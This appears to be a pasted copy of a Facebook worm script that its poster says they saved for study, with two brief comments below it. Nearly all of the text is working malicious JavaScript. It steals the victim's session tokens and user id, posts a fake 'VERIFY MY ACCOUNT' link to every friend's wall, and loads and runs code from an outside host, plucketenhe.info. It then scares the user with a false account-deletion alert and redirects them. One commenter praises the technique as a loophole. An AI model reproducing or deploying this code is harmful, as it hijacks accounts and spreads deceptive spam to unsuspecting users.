facebook javascript spam.js

/* 
THIS CODE IS FROM http://plucketenhe.info/verify.js
I AM POSTING IT HERE JUST TO BE ABLE TO STUDY IT. IT IS NOT MINE.
*/

var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process...";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "==>[VERIFY MY ACCOUNT]<==";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false); 
gf.send(); 
if(gf.readyState!=4){ }else{ 
	data = eval('(' + gf.responseText.substr(9) + ')'); 
	if(data.error){ }else{ 
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0; i<friends.length; i++){
	var httpwp = new XMLHttpRequest();
	var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
	var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
				   "&post_form_id=" + post_form_id + 
				   "&fb_dtsg=" + fb_dtsg + 
				   "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) + 
				   "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) + 
				   "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + 
				   "&user_message=" + message;
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 && httpwp.status == 200){
			
		}
	}
	httpwp.send(paramswp);
}
alert("Verification Failed. Click 'OK' and follow the steps to prevent your account from being deleted.");
document.location = "http://plucketenhe.info/verify.php?js";

Thanx. I just found this because of the same reason.

This looks like a legit loophole. It's using Facebook's app id to perform the updates. No permissions required.